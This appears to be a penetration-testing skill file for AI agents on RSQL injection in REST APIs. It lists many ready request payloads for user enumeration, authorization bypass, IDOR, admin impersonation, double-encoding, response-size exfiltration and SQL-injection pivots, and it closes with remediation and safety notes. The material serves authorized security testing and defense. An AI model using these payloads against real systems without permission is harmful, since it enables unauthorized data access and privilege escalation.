Hacktricks-skills rsql-injection-testing
Test REST APIs for RSQL injection vulnerabilities. Use this skill whenever you need to assess API endpoints for RSQL filter injection, including information leakage, authorization bypass, privilege escalation, and IDOR attacks. Trigger this skill when analyzing REST APIs with filter parameters, q parameters, or any query-based filtering in URLs.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/rsql-injection/SKILL.MDRSQL Injection Testing Skill
A comprehensive guide for testing REST APIs for RSQL (RESTful Query String) injection vulnerabilities.
What is RSQL Injection?
RSQL is a query language for parameterized filtering in RESTful APIs. When applications don't properly sanitize RSQL filters, attackers can inject malicious queries to:
- Extract sensitive data beyond their access level
- Bypass authorization controls
- Escalate privileges by impersonating other users
- Enumerate users and resources
- Modify or delete data through crafted filters
When to Use This Skill
Use this skill when you encounter:
- REST API endpoints with
,filter
, or similar query parametersq - APIs using JSON:API, Spring Data REST, Elide, or similar frameworks
- Endpoints that accept query-based filtering
- Any situation where you need to test for filter injection vulnerabilities
Quick Start
1. Identify RSQL Endpoints
Look for these patterns in API URLs:
# Common RSQL parameter names /api/users?filter=id==123 /api/products?q=category==electronics /api/orders?filter[status]=active /api/items?filter=price>100;category==electronics
Probe for RSQL support:
# Send harmless probes to detect RSQL parsing GET /api/users?filter=id==test GET /api/users?q=test GET /api/users?filter=unknown_field==value
What to look for:
- Parser errors like "Unknown operator" or "Unknown property"
- Different response codes for valid vs invalid filters
- Response size changes based on filter values
2. Test Basic Operators
RSQL supports these operators:
| Operator | Description | Example |
|---|---|---|
| Equals | |
| Not equals | |
/ | Greater than | |
/ | Less than | |
/ | Greater or equal | |
/ | Less or equal | |
| Contains (search) | |
| Like pattern | |
| In list | |
| Not in list | |
| Range | |
/ | AND operator | |
/ | OR operator | |
3. Information Leakage Tests
User enumeration via email:
# Check if email exists GET /api/registrations?filter[userAccounts]=email=='test@example.com' # If vulnerable, may return user data instead of simple true/false GET /api/registrations?filter[userAccounts]=email=='admin@company.com'
Wildcard enumeration:
# Enumerate users by email pattern GET /api/users?filter[users]=email==*%@company.com # Enumerate by status GET /api/users?filter[users]=status==ACTIVE;email==*admin* # Use OR to compare response sizes GET /api/users?filter[users]=email==*a*,email==*b*
Range-based enumeration:
# Enumerate by date range GET /api/users?filter[users]=createdAt=rng=(2024-01-01,2024-12-31) # Enumerate by ID range GET /api/users?filter[users]=id=rng=(1,1000)
4. Authorization Bypass Tests
Bypass access controls:
# Normal request (may return 403) GET /api/users # Try to bypass with wildcard filter GET /api/users?filter[users]=id=in=(*a*) # Try to access all users GET /api/users?filter[users]=id!=null # Try OR-based bypass GET /api/users?filter[users]=id==1,id==2,id==3
Filter on related resources:
# Filter on nested properties GET /api/orders?filter[orders]=customer.email==*admin* # May bypass top-level ACLs GET /api/companyUsers?filter[companyUsers]=user.id=='ADMIN_ID'
5. Privilege Escalation Tests
Enumerate admin users:
# Find users with admin role GET /api/companyUsers?include=role&filter[companyUsers]=userRole.userRoleKey=='general.roles.admin' # Find users by role ID GET /api/companyUsers?filter[companyUsers]=userRole.userRoleId==1
Impersonate admin:
# After finding admin ID, use it to get admin permissions GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='ADMIN_ID'
6. IDOR and Impersonation Tests
Access other users' data:
# Normal profile request GET /api/users?include=language,country # Try to access another user GET /api/users?include=language,country&filter[users]=id=='OTHER_USER_ID' # Try to include sensitive fields GET /api/users?include=language,country,password,token
Combine filters for IDOR:
# Bypass ownership checks GET /api/orders?filter[orders]=customer.id=='OTHER_ID' # Access restricted resources GET /api/documents?filter[documents]=owner.id=='OTHER_ID'
7. Advanced Techniques
Double-encoding bypass:
# Some implementations double-parse URL parameters GET /api/users?filter[users]=id=in=(%2528admin%2529) # Decodes to: id=in=((admin))
Boolean exfiltration:
# Compare response sizes to extract data GET /api/users?filter[users]=email==*a*@example.com GET /api/users?filter[users]=email==*b*@example.com # Different sizes indicate which pattern matches
Nested subqueries:
# Complex nested conditions GET /api/products?filter=(category==electronics;price>100),(category==books;price>50)
Custom operators (framework-specific):
# Elide may have custom operators like =ilike= GET /api/users?filter[users]=name=ilike='%%' OR 1=1--' # May pivot to SQL injection in vulnerable implementations
8. Framework-Specific Tests
Elide / Spring Data REST:
# Test for SQLi via custom operators GET /api/users?filter[users]=name=ilike='%%' OR 1=1--' # Test @JoinFilter expressions GET /api/users?filter[users]=customField=${7*7}
JSON:API:
# Filter on related resources GET /api/orders?include=customer&filter[orders]=customer.email==*admin* # May bypass top-level ACLs
Detection Checklist
- Identify endpoints with filter/q parameters
- Send harmless probes to confirm RSQL support
- Test basic operators (==, !=, >, <, =in=, =out=)
- Test logical operators (;, and, ,, or)
- Attempt user enumeration with wildcards
- Test authorization bypass with filters
- Try privilege escalation via role filters
- Test IDOR with user ID filters
- Attempt double-encoding bypass
- Test framework-specific vulnerabilities
- Check for SQLi pivot opportunities
Reporting Findings
When documenting RSQL injection vulnerabilities:
- Endpoint: Full URL with vulnerable parameter
- Payload: Exact filter that caused the vulnerability
- Impact: What data was accessed or what control was bypassed
- Evidence: Request/response showing the vulnerability
- Remediation: Input validation, parameterized queries, proper authorization checks
Remediation Guidance
For developers fixing RSQL injection:
- Validate filter parameters: Whitelist allowed fields and operators
- Use parameterized queries: Never concatenate user input into queries
- Implement proper authorization: Check permissions before returning data
- Limit filter depth: Restrict nested subquery complexity
- Sanitize special characters: Escape or reject dangerous characters
- Use established libraries: Prefer well-maintained RSQL parsers with security features
Automation
Use the included scripts to automate RSQL testing:
# Generate test payloads python scripts/rsql_payload_generator.py --endpoint /api/users --field email # Quick fuzzing bash scripts/rsql_fuzzer.sh http://target/api/users filter
References
Safety Notes
- Only test APIs you have authorization to assess
- Use rate limiting to avoid overwhelming target systems
- Document all findings for responsible disclosure
- Never use these techniques on production systems without permission